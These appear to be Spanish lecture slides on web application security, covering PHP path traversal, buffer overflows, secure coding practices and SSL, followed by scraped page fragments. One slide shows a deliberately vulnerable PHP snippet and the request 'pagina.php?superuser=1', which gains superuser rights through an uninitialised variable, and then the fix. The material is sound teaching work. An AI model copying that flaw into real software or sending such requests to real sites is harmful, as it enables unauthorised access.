if ($cabecera2 == $cabecera)
include (/lib/ . $cabecera);
117
Path Traversal
Otra defensa contra los nombres de ficheros

incorrectos en PHP es la directiva de configuracin
open_basedir:
open_basedir = /alguna/ruta
// en php.ini
PHP limitar las operaciones sobre ficheros al

directorio especificado y sus subdirectorios. As, por
ejemplo,
include (/alguna/ruta/lib.php); // permitido
include (/otra/ruta/lib.php);
// da un error
// de ejecucin
118
Path Traversal
Ejercicio: acceso a ficheros del sistema
119
Buffer Overflow
Este ataque consiste en corromper la pila de

ejecucin de una aplicacin enviando unos datos de
entrada especialmente preparados con tal fin
El objetivo es conseguir la ejecucin de un cdigo
enviado por el atacante y tomar el control de la
mquina
Estas vulnerabilidades no son fciles de detectar y,
de hacerse, son muy difciles de explotar
120
Buffer Overflow
Las vulnerabilidades pueden estar presentes en las

herramientas (como el servidor web) o bibliotecas
externas, siendo en tal caso conocidas
pblicamente y por tanto ms peligrosas. La nica
proteccin contra ellas consiste en tener
actualizadas todas las herramientas
Tambin pueden encontrarse en la aplicacin,
siendo ms difciles de explotar porque habr
menos atacantes. Adems, en caso de descubrirlas
no ser fcil aprovecharlas ya que desconocen el
cdigo fuente de la aplicacin. La proteccin pasa
por comprobar todo el cdigo que acepta datos de
entrada para asegurar que chequea su tamao
121
Programacin segura
Para evitar o al menos disminuir las

vulnerabilidades de una aplicacin web es muy
importante seguir unas correctas prcticas de
programacin. Veamos algunas de las ms
importantes:
Inicializacin de variables
Gestin de errores
Proteccin de informacin
122
Sea el siguiente cdigo:

if (comprueba_privilegios())
$superuser = true;
Una llamada de la forma

pagina.php?superuser=1
permitira obtener privilegios de superusuario. Este

problema se soluciona dando un valor inicial a la
variable $superuser:
$superuser = false;
if (comprueba_privilegios())
$superuser = true;
123
En general es recomendable inicializar todas las

variables antes de usarlas
En PHP se puede usar la directiva
error_reporting=E_ALL que hace que se muestre un
mensaje de aviso cuando se use una variable que
no haya sido previamente inicializada
124
Tambin se puede deshabilitar register_globals en

el fichero php.ini
La directiva register_globals establece si se admite
o no la creacin automtica de variables globales
A partir de PHP 4.2.0 el valor por defecto de esta
directiva es off, que es el valor recomendable
Para acceder a las variables globales se deben
utilizar los arrays globales $_SERVER, $_ENV,
$_REQUEST, $_GET, $_POST, $_COOKIE, $_FILES,
$_SESSION y $_GLOBALS
125
PHP crea automticamente variables globales a

partir del entorno (E), las cookies (C), la informacin
del servidor (S) y los parmetros GET (G) y POST (P)
La directiva variables_order controla el orden de
estas variables. El valor por defecto es EGPCS
Permitir la creacin de variables globales desde
parmetros GET y POST y desde cookies es
potencialmente peligroso. Un posible valor para
variables_order que evita esto es ES
En tal caso para acceder a los parmetros de los
formularios y a las cookies hay que usar los arrays
globales $_REQUEST, $_GET, $_POST y $_COOKIE
126
Ejercicio: error en la autentificacin de usuarios
127
Gestin de errores
Los mensajes de error son una fuente de

informacin muy importante para los atacantes.
Pueden proporcionar informacin sensible que les
permita refinar sus ataques
En un entorno de produccin debe evitarse la
aparicin de mensajes de aviso o error. En PHP se
pueden utilizar las siguientes directivas en php.ini:
display_errors = off
log_errors = on
error_log = /var/log/php_errors.log
Los errores irn al fichero especificado en lugar de

mostrarse en la pantalla
128
Gestin de errores
Ejercicio: localizacin de pginas con errores
129
Toda informacin sensible debe almacenarse por

separado del programa que la utiliza y
preferentemente en un directorio situado fuera del
rbol de directorios de la Web para evitar que
pueda ser accedida por su URL
En PHP se puede hacer indicando la ruta completa
de los ficheros en las funciones include() y require()
o mediante la directiva include_path en php.ini:
include_path =
.:/usr/local/php:/usr/local/lib/myapp
De esta forma, aunque se revele el cdigo fuente

de los programas, no se mostrar informacin que
comprometa al sistema
130
Debe evitarse utilizar en el cdigo comentarios que

den demasiados detalles acerca del funcionamiento
del programa. Puede ser conveniente eliminarlos en
la versin de produccin de la aplicacin
Hay que suprimir las rdenes de depuracin
colocadas en el cdigo durante su desarrollo
Deben protegerse los ficheros que tengan el acceso
restringido. Para ello no basta con suprimir los
enlaces al fichero; alguien podra dar con su
nombre y obtenerlo directamente escribiendo su
URL. La seguridad a travs de la oscuridad no
funciona
131
Ejercicio: revelacin de informacin en el cdigo

fuente
132
Contenido
Introduccin
Seguridad en
Seguridad en
Seguridad en
Seguridad en
el
el
la
la
Cliente
Servidor
Aplicacin
Comunicacin
133
SSL
SSL (Secure Socket Layer) es un protocolo para

asegurar el transporte de datos entre el cliente y el
servidor web. Diseado inicialmente por Netscape,
hoy da es soportado por la mayora de los
servidores web
Podemos reconocer una conexin HTTP sobre SSL
porque aparece el prefijo https en lugar de http
en la URL
134
SSL
La versin actual de SSL es la 3 y a partir de ella se

est desarrollando un protocolo pblico por parte
del Internet Engineering Task Force (IETF), que se
conoce como TLS (Transport Layer Security) y es
compatible con SSL
135
SSL
SSL no es un protocolo simple sino que tiene dos

niveles de protocolos
El protocolo Record proporciona servicios de
seguridad bsica a varios protocolos de nivel ms
alto, entre ellos HTTP
136
SSL
SSL proporciona una comunicacin segura entre

cliente y servidor permitiendo la autentificacin
mutua, el uso de firmas digitales y garantizando
la privacidad mediante encriptacin. Una sesin
SSL se establece segn una secuencia de
operaciones
137
SSL
138
SSL
139
Prctica 5: SSL en Apache
Creacin de un certificado digital

Configuracin de Apache para utilizar el certificado
en una conexin SSL
140

Seguridad en Las Aplicaciones Web

Cargado por

Información del documento

Derechos de autor

Formatos disponibles

Compartir este documento

Compartir o incrustar documentos

Opciones para compartir

¿Le pareció útil este documento?

¿Este contenido es inapropiado?

Copyright:

Formatos disponibles

Seguridad en Las Aplicaciones Web

Cargado por

Copyright:

Formatos disponibles

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

2. Autentificacin bsica HTTP

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Aplicaciones cliente/servidor que utilizan el

Seguridad en Sistemas Informticos e Internet

La seguridad supone un coste econmico y de

El riesgo cero no es prctico

Hay diversas formas de mitigar el riesgo

No se puede gastar un milln para proteger un

Seguridad en Sistemas Informticos e Internet

The Open Web Application Security Project (OWASP)

The Ten Most Critical Web Application Security

Seguridad en Sistemas Informticos e Internet

Top Ten de amenazas

Seguridad en Sistemas Informticos e Internet

Es conveniente tener en cuenta unos principios de

Validar la entrada y la salida

Fallar con seguridad

Mantener un esquema de seguridad simple

Utilizar componentes de confianza

La seguridad a travs de la oscuridad no funciona

Mantener los privilegios al mnimo y separados

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Cdigo que circula por la red y se ejecuta en una

Seguridad en Sistemas Informticos e Internet

Puede estar incrustado directamente en el

Seguridad en Sistemas Informticos e Internet

Hay cuatro tipos bsicos de cdigo mvil:

Lenguajes de macro como Visual Basic for

Scripts como JavaScript y VBScript

Seguridad en Sistemas Informticos e Internet

Es un lenguaje de macro propio de Microsoft Office,

Seguridad en Sistemas Informticos e Internet

Las versiones previas a Office 97 ejecutaban las

Seguridad en Sistemas Informticos e Internet

Para protegerse de los virus de macro hay que

Seguridad en Sistemas Informticos e Internet

Fue diseado para aadir interactividad a una

Seguridad en Sistemas Informticos e Internet

El nico problema serio est relacionado con los

Otra fuente de problemas es la posibilidad que

Slo funciona con Internet Explorer y Outlook, por

Seguridad en Sistemas Informticos e Internet

Normalmente no pueden leer ni escribir datos en el

Son la respuesta de Microsoft a las applets de Java

Seguridad en Sistemas Informticos e Internet

El problema se da cuando un control est mal

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

Seguridad en Sistemas Informticos e Internet

El desarrollo de una aplicacin web requiere de una

Vulnerabilidades debidas al uso de versiones no

Configuraciones por defecto inadecuadas

Activacin de cuentas por defecto

Proporciona muchos servicios y es muy probable